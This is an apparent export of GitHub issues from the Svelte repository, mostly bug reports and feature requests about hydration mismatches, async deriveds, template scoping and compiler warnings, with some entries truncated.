[Vue](https://play.vuejs.org/#eNqdlMtOwzAQRX/F8gqktlHfD6WVABUJFlABS29KOi0pjm3ZTqhU5d8Z2/SpqkjZZWbusa9nHG/pnVKNIgc6orFJdKosMWBzNWEizZTUljxKSZZaZoTRRoSBUzPKRBwFPSoxsJApPreAESGxY0YcCuBjRnu9PqMkwkocHclojVqTSLFMV421kQIdbB3MaCIzlXLQr8qmUhhGR8RXXG3Oufx59jmrc6jt8skXJN8X8muzcTlGZxoM6AKt72t2rldgQ3n6/gIb/N4XM7nIOaqvFN/ASJ47j0F2n4sF2j7SebdPvo+pWH2Y6caCMLtDOaNOWXo9o9jYhytHP9htNzqeY6LELv7N5HyChM/FCttvcZX/p8nEApapgJmWysR+Tz+/ERF59omHEuXk5vb61HcRKerpEnf2C5DxeEyaaCFWk2YcqcnJJTilgBs4R1sBbVVA2wFtV0A7Ae1UQLsB7VZAewHtVUDxF3NovwI6COigAjoM6PAS6m5aoA5PQSDr7j5ceBDKX49Bfco=) (600+)
[Real world component](https://github.com/x0k/svelte-jsonschema-form/blob/c651408a5c3a56649b13288c7e21251661c089... [TRUNCATED]",,2026-02-08T16:16:08Z,2026-02-10T14:45:36Z,0
sveltejs/svelte,3912768217,Vite dev/build fails when dependency using type-only features,"### Describe the bug

When starting the dev server, I get the following error:
```
✘ [ERROR] Expected ""{"" but found ""<""

    node_modules/svelte-tiler/dist/tiles/tabs.svelte:104:48:
      104 │   class TabsTileDropTarget extends TileDropTarget<Tiles['tabs']> {
          │                                                  ^
          ╵                                                  {

Error: Build failed with 1 error:
node_modules/svelte-tiler/dist/tiles/tabs.svelte:104:48: ERROR: Expected ""{"" but found ""<""
    at failureErrorWithLog (/home/qo5ip4we0aj4vrkeetv8swp3pbyxe1-fmt4/node_modules/esbuild/lib/main.js:1457:15)
    at eval (/home/qo5ip4we0aj4vrkeetv8swp3pbyxe1-fmt4/node_modules/esbuild/lib/main.js:916:25)
    at eval (/home/qo5ip4we0aj4vrkeetv8swp3pbyxe1-fmt4/node_modules/esbuild/lib/main.js:1335:9) {
  errors: [Getter/Setter],
  warnings: [Getter/Setter]
}
```

### Reproduction

[SvelteLab](https://www.sveltelab.dev/?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte#code=N4IgDghgxg1hDmBTAdAKwM4HsB2IBcoAZgJYA2i%2BoUOALotjepSDMdgCb4joBuipdUhABGAWgCuxABwQQAGhDDxhQogBO%2BANoBGAEwBmOdoAMcgJxz9AFiMnzAdiPGLJ7ZZsBWKZd3vz3s0dtbQ8nULMLazkrGztI2O1vV1sE0JM04NtTKK8fPytvKwA2aMKSq3jo2NNK4N9g6oyAoO0S5JzvfXrWlNsg4zcYp3M-YPCXbUbbbraQv1yuowNhi1rjU2Tgzs9O3yitsNs2gbyTDZODqKG4kaizJO1%2BtOMk9fnd0cTD4OO3Rfu%2Bt8Xk5sjZrjVbglutU3Ad0k5YdpKgs9glXhlfqc9L1Nl94bjKuCRmt0Vkju88vtsQ0EeSfkDETZFlZQizzC5jDD2U5HMySldqsTRsZuoynKsWvydpSoTiLj16fj5UzfGy2cEJlNFSc%2BcKRnpWYK1udEd4iq9EfV5ecTWSIgzbKEOqdljdKkVUrYLU4HpiTLNWY5... [TRUNCATED]",,2026-02-08T13:49:51Z,2026-03-29T05:00:04Z,2
sveltejs/svelte,3907514373,Better scoping for `{@const ...}`,"### Describe the problem

I understand that `{@const ...}` is treated as part of the implicit `children` for a block. However, the behaviour feels confusing and it seems like an arbitrary limitation. Consider the following:

```svelte
<NameTag>
  {@const [ firstName, lastName ] = [""Jim"", ""Jeffries""]}

  {#snippet label()}
    Hello, my name is {firstName}
  {/snippet}

  <NameTagDetails fullName={{ firstName, lastName }} />
</NameTag>
```

This _feels_ like it should be fine because, with implicit children, the variables _seem like_ they are scoped to the component block. It's also a refactoring hazard because starting out with `children()` and then later expanding props to include other snippets means you need to move the variable declarations to the `<script>` tag.

### Describe the proposed solution

Currenty, this:

```svelte
<Component>
  {@const greetee = ""World""}
  <h1>Hello {greetee}</h1>
</Component>
```

Becomes this:

```javascript
Component($$anchor, {
	children: ($$anchor, $$slotProps) => {
		const greetee = $.derived_safe_equal(() => ""World"");
		var h1 = root_1();

		h1.textContent = `Hello ${$.get(greetee) ?? ''}`;
		$.append($$anchor, h1);
	},
	$$slots: { default: true }
});
```

Maybe it could become this?

```javascript
{ // Separate block scope
	const declared_const_greetee = $.derived_safe_equal(() => ""World"");

	Component($$anchor, {
		children: ($$anchor, $$slotProps) => {
			var h1 = root_1();

			h1.textContent = `Hello ${$.get(declared_const_greetee) ... [TRUNCATED]",,2026-02-06T16:30:59Z,2026-02-06T16:59:30Z,3
sveltejs/svelte,3902625736,[Medium] Race Condition in svelte,"## Bug Report

**Type**: Race Condition
**Severity**: Medium
**File**: src/svelte.js:189

### Description
并发访问共享变量时缺乏适当的同步机制。

### Impact
可能导致数据不一致。

### Proposed Fix
使用适当的并发控制。

---
Automated Bug Report - 2026-02-05 17:07:10
Bug Bounty Request
",,2026-02-05T17:07:11Z,2026-02-05T18:03:47Z,1
sveltejs/svelte,3902625563,[High] Memory Leak in svelte,"## Bug Report

**Type**: Memory Leak
**Severity**: High
**File**: src/svelte.ts:234

### Description
发现资源连接未正确关闭，可能导致内存泄漏。

### Impact
- 长期运行内存占用持续增长
- 可能导致服务崩溃

### Proposed Fix
使用try-finally确保资源释放。

---
Automated Bug Report - 2026-02-05 17:07:08
Bug Bounty Request
",,2026-02-05T17:07:08Z,2026-02-05T18:03:03Z,1
sveltejs/svelte,3901970174,#key does not work with NaN,"### Describe the bug

NaN cannot be used as value for #key blocks. The block will just not show up.

I saw this statement: https://github.com/sveltejs/svelte/issues/10061#issuecomment-2035842911. However, this behavior should at least be documented to prevent others from wasting time.


### Reproduction

```javascript
{#key undefined}
	undefined
{/key}

{#key null}
	null
{/key}

{#key NaN}
	NaN
{/key}

{#key false}
	false
{/key}
```

Output: undefined null false

### Logs

```shell

```

### System Info

```shell
svelte 5.49.2

same behavior in firefox and chrome
```

### Severity

annoyance",documentation,2026-02-05T14:50:19Z,2026-02-06T16:57:51Z,1
sveltejs/svelte,3900529756,`Cannot read properties of null (reading 'f')` introduced in v5.48.0,"### Describe the bug

This error started popping up after we upgraded Svelte from v5.47.1 to v5.48.0, and it is still present in the latest version v5.49.2

Here's the error logged in the console: 

```
Uncaught TypeError: Cannot read properties of null (reading 'f')
    at handle_error (error-handling.js:20:27)
    at update_reaction (runtime.js:342:10)
    at update_effect (runtime.js:454:18)
    at flush_queued_effects (batch.js:696:4)
    at _Batch.process (batch.js:227:4)
    at flush_effects (batch.js:640:10)
    at _Batch.flush (batch.js:355:4)
    at Array.<anonymous> (batch.js:528:12)
    at run_all (utils.js:46:8)
    at run_micro_tasks (task.js:10:2)
```

And here's a public link to one of our Sentry alerts, with a more thorough stack trace of the code that caused the error: https://kvist.sentry.io/share/issue/ce1baf62f21c4928bdf9331ceae87721/

### Reproduction

I still haven't managed to create a minimal repro, as i am not that familiar with the internal setup of Svelte's update-cycle, so creating a minimal reproduction would take quite some time. I hope that the information is sufficient enough, and if it isn't, then let me know and i'll try my best to help.

It seems to me like error is thrown because of this `(active_reaction).f` accessor in the `handle_error` method

```ts
// for unowned deriveds, don't throw until we read the value
if (effect === null) {
	/** @type {Derived} */ (active_reaction).f |= ERROR_VALUE;
	return error;
}
```

### Logs

```shell

```
... [TRUNCATED]",awaiting submitter,2026-02-05T09:18:11Z,2026-05-19T11:42:59Z,8
sveltejs/svelte,3899448414,hydration mismatch with async and nested if,"### Describe the bug

Using a nested `{#if}{/if}` on an async component while having the experimental async feature enabled, breaks hydration when using SSR.

It seems like it fails to find the hydration markers, using whatever else it finds instead.

### Reproduction

https://github.com/santiagocezar/hydration-troubles-repro

It seems to be a regression in 5.49.2. Plus, I checked if PR #17611 fixed it by chance but had no luck there, sadly.

There's three variants!
- The sync one is the boring one that just works
- The async-only one causes a hydration mismatch (but the error log doesn't give much details as to why)
- The async+onclick one causes a completely different error! (it grabs a text node for some reason)

### Logs

```shell
# on the Async-only variation
[svelte] hydration_mismatch
Hydration failed because the initial UI does not match what was rendered on the server
https://svelte.dev/e/hydration_mismatch
Uncaught (in promise) Object {  }

# on the Async+onclick one
Uncaught (in promise) DOMException: Node.appendChild: Cannot add children to a Text
```

### System Info

```shell
System:
    OS: Linux 6.18 cpe:/o:nixos:nixos:26.05 26.05 (Yarara)
    CPU: (16) x64 AMD Ryzen 7 7730U with Radeon Graphics
    Memory: 4.65 GB / 14.98 GB
    Container: Yes
    Shell: 0.109.1 - /run/current-system/sw/bin/nu
  Binaries:
    Node: 24.13.0 - /run/current-system/sw/bin/node
    npm: 11.6.2 - /run/current-system/sw/bin/npm
    pnpm: 10.28.0 - /run/current-system/sw/bin/pnpm
   ... [TRUNCATED]",,2026-02-05T03:48:58Z,2026-02-06T15:54:17Z,0
sveltejs/svelte,3898773635,Anomaly when spreading element properties,"### Describe the bug

Spreading properties doesn't seem to work if one of them is called 'one' (that one is always missing from the element).

### Reproduction

https://svelte.dev/playground/6309de9f929041f295833c2c22a6c9cc?version=latest

Inspect element with browser dev-tools.

<img width=""422"" height=""87"" alt=""Image"" src=""https://github.com/user-attachments/assets/7d798cc2-8780-4188-b4ff-0f9d5b5864b6"" />

### Logs

```shell

```

### System Info

```shell
Svelte Playground
```

### Severity

annoyance",,2026-02-04T22:55:49Z,2026-02-04T23:32:47Z,2
sveltejs/svelte,3890070674,Hydration mismatch and TypeError when combining `$derived(await ...)` with `{@attach}` from `bind:this`,"### Describe the bug

**TL;DR**: Using experimental async (`$derived(await ...)`) in a component that also uses `{@attach}` with a function from `bind:this` breaks SSR hydration. In development, this causes a warning. In production build with nested components, the application crashes completely and the page fails to render.

The issue appears to be that the async boundary interacts incorrectly with the `{@attach}` directive during hydration. When the component contains `$derived(await ...)`, the hydration process seems to lose track of the attachment state, causing a mismatch between server-rendered HTML and client-side component tree. With nested `{@render children?.()}` calls, this mismatch escalates into a fatal TypeError that prevents the component from mounting.

## Conditions to reproduce
All of the following must be present:

1. Experimental async enabled in `svelte.config.js`:
`compilerOptions: { experimental: { async: true } }`

2. `$derived(await ...)` in the component (even if the value is not used in markup)

3. `{@attach ref?.action}` where:
- `ref` is obtained via `bind:this` from another component
- The function is exported from that component

4. SSR enabled (default in SvelteKit)

5. Nested components with `{@render children?.()}` — for TypeError to occur, at least two levels of nesting required

## Behavior

| Environment | Single nesting             | Double nesting                                 |
|-------------|----------------------------|-------------... [TRUNCATED]",,2026-02-03T09:01:21Z,2026-02-06T09:19:17Z,0
sveltejs/svelte,3890062697,Add Hostinger deployment guide to documentation,"### Describe the problem

Svelte developers who are price-sensitive or building smaller-scale applications lack a documented deployment option that fits their needs.

Currently, developers in these situations must choose between:
- Expensive managed static hosting platforms ($20-50+/mo)
- Complex self-hosting requiring server configuration knowledge
- Free tiers with limitations (build minutes, bandwidth caps)
- Serverless platforms with cold starts (negating SvelteKit's SSR benefits)

This creates barriers for:
- Students learning Svelte on limited budgets
- Developers running personal sites or portfolios
- Side projects that need professional hosting features
- Small client projects with tight budget constraints
- International developers where $20-50/mo is a significant cost

While Svelte/SvelteKit can be deployed anywhere Node.js runs, there's no documented option for affordable managed hosting ($3-10/mo range) that provides professional features (SSL, CDN, automatic deployments) without requiring DevOps expertise.

### Describe the proposed solution

Add deployment documentation for Hostinger - an affordable managed hosting platform starting at $2.99/mo.

**What this provides:**

**Affordable managed hosting:**
- Entry-level pricing ($2.99-6.99/mo) vs $20-50+/mo alternatives
- No usage-based billing or build minute limits
- Includes SSL, CDN, domain, and email
- Makes production Svelte deployment accessible to broader audience

**Works for both Svelte and SvelteKit:**

*... [TRUNCATED]",,2026-02-03T08:59:43Z,2026-02-03T11:03:15Z,1
sveltejs/svelte,3875981272,Async derived in child re-evaluates with `undefined` props on unmount when parent has async derived,"### Describe the bug

The bug ONLY occurs when the parent component has an async derived (`$derived(await ...)`). Without it, the child unmounts cleanly.

### Reproduction

https://svelte.dev/playground/hello-world#H4sIAAAAAAAACoWRQW-cMBCF_8rIjQRIBO50F6nNIT300EN7Kj148QCjmjGyh92NEP-9cqHZpErVgw8znm_s996iWI-oKvUJrXVwcd4aSNGQoMlUrjqyGFT1fVHyNMW52FD5H-rDNBXhjFZi76QDvtVvHQuyBFWpQ2g9TVI33AiNk_MCDwNZA513IyRF-bva0eR9ww0DlCV8HSiADk_cgkFPZzRADJP2yALiqe_RB5AB4TT3kWkdB4HgRpSBuIcj3O1gqi-aBL54N1LAwmNw9oxpIhgkybIIx2NRQLdCZ4xsEC2YJnHfPZkka_hQ3qTw8o66fXqN8GETRea47F0o64aXkro1zh9Os4hjcNxaan8elzSDY317b2aDHTGatX6wLuCh3IBa5UrwKqoSP-Oa_yOVlya-zuWvmzeT2bQvQAbWqH3ybgrpszFlCZ9dHyB5_mQCjmHm0c0scA8fvz3eEjBa9P_NJ5MVMiCn12jDEvFtgbNYWNenybQRsBMGLiRDleRwzbZpjzJ7hmus1uxlQK89-5Er0WQvxEZVnbYB118wLu67BAMAAA

```svelte
<!-- Parent.svelte -->
<script>
  // This async derived in parent triggers the bug
  const something = $derived(await Promise.resolve('test'))
  
  let active = $state('some-id')
</script>

{#if active}
  <Child id={active} />
{/if}

<button onclick={() => active = undefined}>Close</button>

<!-- Child.svelte -->
<script>
  let { id } = $props()
  
  // Logs 'undefined' on unmount - BUG
  const data = $derived(await Promise.resolve(id).then(x => {
    console.log('promise resolved with:', x)
    return x
  }))
</script>
```

### Logs

```shell
promise resolved with: some-id
promise resolved with: undefined
```

### System Info

```shell
svelte 5.49.1
```

### Severity

blocking an upgrade",,2026-01-30T14:32:24Z,2026-02-04T09:28:33Z,3
sveltejs/svelte,3868416700,non_reactive_update incorrectly flags SvelteSet and SvelteMap when mutated through binding,"### Describe the bug

The non_reactive_update warning incorrectly flags SvelteSet and SvelteMap (from svelte/reactivity) as non-reactive when they are mutated by external functions, such as a binding.

### Reproduction

playground: https://svelte.dev/playground/10cc824e10ec4fb39aa357568c23f294?version=5.48.5

note that `foo` is squigglied.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 68.96 GB / 128.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.2.1 - /opt/homebrew/bin/node
    npm: 11.6.2 - /opt/homebrew/bin/npm
  Browsers:
    Chrome: 144.0.7559.97
    Firefox: 147.0
    Safari: 26.1
```

### Severity

annoyance",,2026-01-29T02:36:54Z,2026-01-29T11:15:16Z,5
sveltejs/svelte,3867965448,Suggestion: Improve beginner onboarding documentation,"### Describe the problem

Hi 👋

While exploring the Svelte documentation as a newcomer, I noticed that it can feel slightly overwhelming at first, especially for people who are completely new to modern frontend frameworks.

It may not always be clear where absolute beginners should start or which concepts they should learn first.


### Describe the proposed solution

It could be helpful to have a short “Getting Started for Absolute Beginners” section that:

• briefly explains what Svelte is in simple terms  
• suggests a recommended learning path  
• links to the most important beginner-friendly guides  

This might make onboarding smoother for new developers discovering Svelte for the first time.

Thanks for all the great work on the project! 🚀


### Importance

nice to have",,2026-01-29T00:02:39Z,2026-01-29T02:43:19Z,4
sveltejs/svelte,3867947610,Hydration mismatch when text node exceeds 65536 characters in Chrome,"### Describe the bug

I'm getting a hydration mismatch warning when rendering text content larger than 65536 characters (2^16). This appears to be caused by browsers automatically splitting large text nodes into multiple smaller DOM nodes during HTML parsing.

### Reproduction

  **Minimal reproduction:**

`+page.server.ts`:
```ts
export const load = () => ({ text: 'a'.repeat(65537) });
```

`+page.svelte`:
```ts
<script>
  let { data } = $props();
</script>

{data.text}
```

[StackBlitz Reproduction](https://stackblitz.com/edit/sveltejs-kit-template-default-2a6qyevg?file=src%2Froutes%2F%2Bpage.svelte)

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.0 => 7.0.0 
    @sveltejs/kit: ^2.48.5 => 2.50.1 
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.4 
    svelte: ^5.43.8 => 5.48.5 
    vite: ^7.2.2 => 7.3.1
```

### Severity

annoyance

### Additional Information

_No response_",,2026-01-28T22:41:42Z,2026-01-30T01:40:41Z,1
sveltejs/svelte,3865941763,assignment_value_stale should disregard primitives,"### Describe the bug

The https://svelte.dev/docs/svelte/runtime-warnings#Client-warnings-assignment_value_stale warning is intended to avoid a specific issue around state proxies, but it also fires — incorrectly, in my view — when dealing with primitives

### Reproduction

[playground](https://svelte.dev/playground/hello-world?version=5.48.5#H4sIAAAAAAAAE22QwW7CMAyGXyXKqZW2wq6hReK2y267rTukiaERwYlcZ4CqvvvSAtom7egvzuffHiXqE0glX8H7IM6BvBUFWMdgS_kk987DINXHKPka574ZZH7_tYuxGr7A88w6PcB_3ARkQM4aWQ-GXORtiy3vExp2AUWKVjMUGCyUYpyfWibgRChmVg189VCFqI3jq2jEm-a-Io02nIpyM_dPLdarHzXWXWLOZk1OP3vdgW9aabwzR3GCVoqAS9GMRZ7YbB8JoDKJKEd913QALqdtvbqZbtYlyJL97r-HPTvLvRIv63W8bG6oB3fo-S_rtDkeKCS0ShDYBw1kgVReFeHXMsuofDyGC0vFlGD6zJV2_uzQSrXXfoDpG8H8cie_AQAA)
",,2026-01-28T15:16:05Z,2026-01-28T19:23:28Z,0
sveltejs/svelte,3865687623,TypeError: Cannot set properties of null (setting 'c') at #open_render,"### Describe the bug

I created a new SvelteKit app and was running it via a Dockerfile I had copied from a previous project which used `CMD [""node"", ""--experimental-loader"", ""newrelic/esm-loader.mjs"", ""-r"", ""newrelic"", ""build""]` to run the app and load new relic. It gave errors like the one below. The fix was to remove the experimental-loader. Posting to hopefully help save some else debugging time in the future.

```
  | TypeError: Cannot set properties of null (setting 'c')
  | at #open_render (file:///var/www/app/build/server/chunks/index-BwJdVdZD.js:1289:21)
  | at #render (file:///var/www/app/build/server/chunks/index-BwJdVdZD.js:1203:45)
  | at Object.get (file:///var/www/app/build/server/chunks/index-BwJdVdZD.js:1110:44)
  | at Object.get (file:///var/www/app/build/server/index.js:3411:29)
  | at file:///var/www/app/build/server/index.js:5896:23
  | at AsyncLocalStorage.run (node:internal/async_local_storage/async_hooks:91:14)
  | at with_request_store (file:///var/www/app/build/server/chunks/exports-_CuWBanw.js:31:20)
  | at render_response (file:///var/www/app/build/server/index.js:5886:24)
  | at async respond_with_error (file:///var/www/app/build/server/index.js:6361:12)
  | at async resolve2 (file:///var/www/app/build/server/index.js:7817:16)
```
 


### Reproduction

```Dockerfile
CMD [""node"", ""--experimental-loader"", ""newrelic/esm-loader.mjs"", ""-r"", ""newrelic"", ""build""]
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.2
    CPU: ... [TRUNCATED]",,2026-01-28T14:18:45Z,2026-01-28T14:19:00Z,1
sveltejs/svelte,3865347079,General reactivity issues,"### Describe the bug

I have an example repro where I have state that is derived from another, in a debounced manner. I also have a condition that depends on a remote function `query` promise loading, its results, and said derived state. I've put that condition in a derived, and have an #if block with it. I can inspect and see that the condition changes, but the template is not consequently updated.

### Reproduction

https://gitea.thomas.rocks/thomas/reactivity-repro

Type text in the search bar. Wait a bit. Type again, without deleting the previous text. You'll see that the error does not get updated in the template as it should.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 EndeavourOS
    CPU: (32) x64 AMD Ryzen 9 7950X3D 16-Core Processor
    Memory: 50.24 GB / 61.96 GB
    Container: Yes
    Shell: 4.2.1 - /usr/bin/fish
  Binaries:
    Node: 24.12.0 - /home/thomasgl/.volta/tools/image/node/24.12.0/bin/node
    Yarn: 4.12.0 - /home/thomasgl/.volta/tools/image/yarn/4.12.0/bin/yarn
    npm: 11.6.2 - /home/thomasgl/.volta/tools/image/node/24.12.0/bin/npm
    pnpm: 10.26.1 - /home/thomasgl/.volta/bin/pnpm
    bun: 1.3.3 - /home/thomasgl/.bun/bin/bun
  Browsers:
    Firefox: 146.0
    Firefox Developer Edition: 146.0
  npmPackages:
    svelte: ^5.48.5 => 5.48.5
```

### Severity

blocking all usage of svelte",,2026-01-28T13:00:53Z,2026-04-06T16:11:09Z,4
sveltejs/svelte,3864972614,`createContext` behaves differently between client and server,"### Describe the bug

While the [client implementation of `createContext`](https://github.com/sveltejs/svelte/blob/06e6ef83b801a3ca014af4629abad76ac2d35eef/packages/svelte/src/internal/client/context.js#L81) throws `e.missing_context()` if the context hasn't been set, the [server implementation](https://github.com/sveltejs/svelte/blob/06e6ef83b801a3ca014af4629abad76ac2d35eef/packages/svelte/src/internal/server/context.js#L20) returns the result of of `getContext` directly, so it returns undefined rather than throwing if the context hasn't been set.

This can lead to subtle bugs, for example catching the error to provide a default value works on the client but silently fails on the server. The `get()` type signature is also wrong for server code where undefined can sneak past the types.

I hit this using optional context to manage heading levels. The server rendered different tags than the client, making for a funky heading tree and hydration mismatches.

Making both throw aligns with [documented behaviour](https://svelte.dev/docs/svelte/svelte#createContext). But would making a function start throwing count as a breaking change? I'm happy to pitch in with a PR once I know what approach to take.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-qpa5xs1r?file=README.md

### System Info

```shell
From the repro:
  System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 -... [TRUNCATED]",,2026-01-28T11:31:41Z,2026-01-29T00:28:40Z,0
sveltejs/svelte,3859006037,[bug]: {#if} block breaking when condition depends on exception from contained <svelte:boundary>,"### Describe the bug

when an `{#if}` block has the exception caught by a containing `<svelte:boundary>` as its condition, it breaks and displays its contents even though it's condition is falsy
```svelte
<script>
	import Child from './Child.svelte'

	let exception = $state();
	const onerror = (e) => {
		exception = e
	}
</script>

{#if !exception}
	<p>{!exception}</p>
	<svelte:boundary {onerror}>
		<!-- child that will throw an error -->
	  <Child />
	</svelte:boundary>
{/if}
```
Since `!exception` is the condition of the `{#if}` block, it's children should never be rendered when `exception` is truthy, but in the reproduction REPL below they are being rendered.

### Reproduction

https://svelte.dev/playground/748a8ef70b3646e5be1bbccb701dc598?version=5.48.3

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.7.3
    CPU: (11) arm64 Apple M3 Pro
    Memory: 334.23 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.2.0 - /Users/-/.local/state/fnm_multishells/2576_1769425412223/bin/node
    npm: 11.3.0 - /Users/-/.local/state/fnm_multishells/2576_1769425412223/bin/npm
    pnpm: 10.12.2 - /opt/homebrew/bin/pnpm
    Deno: 2.5.4 - /opt/homebrew/bin/deno
  Browsers:
    Chrome: 144.0.7559.97
    Safari: 18.6
```

### Severity

annoyance",,2026-01-27T06:15:08Z,2026-01-28T16:02:30Z,1
sveltejs/svelte,3858220784,[5.48.1] HierarchyRequestError during SSR,"### Describe the bug

v5.48.0 works fine, it has been introduced in the v5.48.1.
It happens only during SSR.

### Reproduction

It is related to `{#if}` but I don't know how to reproduce this bug for now.

### Logs

```shell
Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
```

### System Info

```shell
System:
    OS: Linux 5.15 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (8) x64 Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz
    Memory: 9.45 GB / 15.58 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    bun: 1.3.6 - /usr/local/bin/bun
  npmPackages:
    svelte: 5.48.1 => 5.48.1
```

### Severity

blocking an upgrade",awaiting submitter,2026-01-27T00:09:26Z,2026-01-27T18:39:52Z,1
sveltejs/svelte,3856379806,Style attribute not setting via a variable when it ends with a semicolon,"### Describe the bug

When setting a style attribute using a variable and it ends with a semicolon, the attribute will not set and no error nor warning will be produced.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.48.2#H4sIAAAAAAAAA3WRwW7CMBBEf8W1KuGoYO4hiVT10gO3Vuqh6cHgBSwZO7I3oTTKv3dNoKgVVU6ZfTNj7fbcqT3wnD-DtZ4dfLCaCdAGQWd8yjfGQuT5e8_x2CQuCaSfXY9NI2MHFpO2UhFu6WvvEBxSDC_iOpgGq9rVaAEZpSEEVrL7iApB1BQSap4tfgMvyhk0X6ATqSGYDrRcHYXIWFmxPsEjHiASMpoWo2w2glSJfunXysLSHyA80UtFJqkzYHwzuBOT0ZNPsmy0pW9MS-7YriIG47ZXUFpwW9xl15q7_3rA6XPL4nY-e2A0Sknudy917sWlgvYYvQVpPT2DppNpYi7TANgGl5STMCS9mF_37QrjmhZZumNZc4RPrDnz7qSWPaRN_pwD5LoNgY72qsIWUHbKtjBQTKFNxyIeLeSz2YiX_Z8jDVUxJ6yi06cWnmMg8wf9KWMPxmmeb5SNMHwDcCngB30CAAA)

1. Type anything in the input field.
2. Observe inline styles via dev tools.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 2.32 GB / 31.27 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 24.7.0 - /home/aliser/.nvm/versions/node/v24.7.0/bin/node
    npm: 11.5.1 - /home/aliser/.nvm/versions/node/v24.7.0/bin/npm
    bun: 1.3.1 - /home/aliser/.bun/bin/bun
    Deno: 2.6.0 - /home/aliser/.deno/bin/deno
  npmPackages:
    svelte: ^5.45.6 => 5.48.2
```

### Severity

annoyance",,2026-01-26T15:12:16Z,2026-01-26T15:56:40Z,2
sveltejs/svelte,3853564754,Referencing the same awaited derived value in {#if}/{#each} and component/snippet props causes `HierarchyRequestError`,"### Describe the bug

When you use an awaited derived value in {#if}/{#each} and then pass it as a prop to a component or a snippet inside the block, it throws `Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.`.

```svelte
<script>
	const n = $derived(await Promise.resolve(1))
</script>

{#snippet foo(n)}
	<div>{n}</div>
{/snippet}

{#if n}
	<!-- throws `HierarchyRequestError` -->
	{@render foo(n)}
{/if}
```

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-n1wzmkzd?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
```

### System Info

```shell
Svelte: 5.48.2
Tested with Chrome and Firefox
```

### Severity

blocking an upgrade",,2026-01-25T17:12:31Z,2026-01-26T22:26:19Z,0
sveltejs/svelte,3851534782,Allow using a timing function as easing,"### Describe the problem

If you have a `cubic-bezier()` or `linear()` timing function, which browsers natively support, you can't use it as your Svelte transition's easing. Instead, you have to reimplement what the browser already has so Svelte can pass every time interval through your reimplementation given that it'll be rendered with linear easing.

### Describe the proposed solution

Allow using a string for easing, which will be forwarded to `.animate()`.

(Perhaps even, if [linear() has enough support](https://caniuse.com/?search=linear%28%29), convert existing function easing to a `linear()` timing function? May look slightly different from the current ""get exact value every frame"" way though)

### Importance

would make my life easier",transition/animation,2026-01-24T16:31:31Z,2026-01-26T22:59:55Z,1
sveltejs/svelte,3851202352,fix: `wait` function not exported from internal client index causing runtime error in 5.48.1,"### Describe the bug

In Svelte 5.48.1, using `await` inside `$derived()` with `experimental.async: true` throws the error:

```
TypeError: $.wait is not a function. (In '$.wait([$$promises[20], $$promises[20]])', '$.wait' is undefined)
```

### Cause

PR #17461 added the `wait` function to `packages/svelte/src/internal/client/reactivity/async.js` and modified the compiler to generate `$.wait()` calls:

```diff
+			run.thunks.push(b.thunk(b.call('$.wait', b.array(blockers))));
```

However, the `wait` function was **never exported from `packages/svelte/src/internal/client/index.js`**.

The function exists at line 300 of `async.js`:
```js
export function wait(blockers) {
	return Promise.all(blockers.map((b) => b.promise));
}
```

But the exports from `async.js` in `index.js` are only:
```js
export {
	for_await_track_reactivity_loss,
	run,
	save,
	track_reactivity_loss,
	run_after_blockers
} from './reactivity/async.js';
```

### Reproduction

```svelte
<script>
  // svelte.config.js has compilerOptions.experimental.async: true
  
  async function getData() {
    return { name: 'test' };
  }
  
  const data = $derived(await getData());
</script>

{data.name}
```

### Expected behavior

The `wait` function should be exported from `index.js`:

```diff
export {
	for_await_track_reactivity_loss,
	run,
	save,
	track_reactivity_loss,
-	run_after_blockers
+	run_after_blockers,
+	wait
} from './reactivity/async.js';
```

### Workaround

Downgrade to Svelte 5.48.0 which does not have th... [TRUNCATED]",,2026-01-24T13:43:59Z,2026-01-24T14:37:05Z,1
sveltejs/svelte,3849027527,No a11y_no_static_element_interactions warning on pointer and touch events,"### Describe the bug

The [a11y_no_static_element_interactions](https://svelte.dev/docs/svelte/compiler-warnings#a11y_no_static_element_interactions) warning only triggers on mouse and drag events e.g. `onmousedown` or `ondrag` and does not trigger on `onpointerdown`, `onpointerenter`, `ontouchstart` and other pointer and touch events.

### Reproduction

REPL:
https://svelte.dev/playground/09bad25fc66e4007999432bc4c508a60?version=5.48.0

### Logs

```shell
N/A
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-01-23T20:16:19Z,2026-01-26T23:00:14Z,0
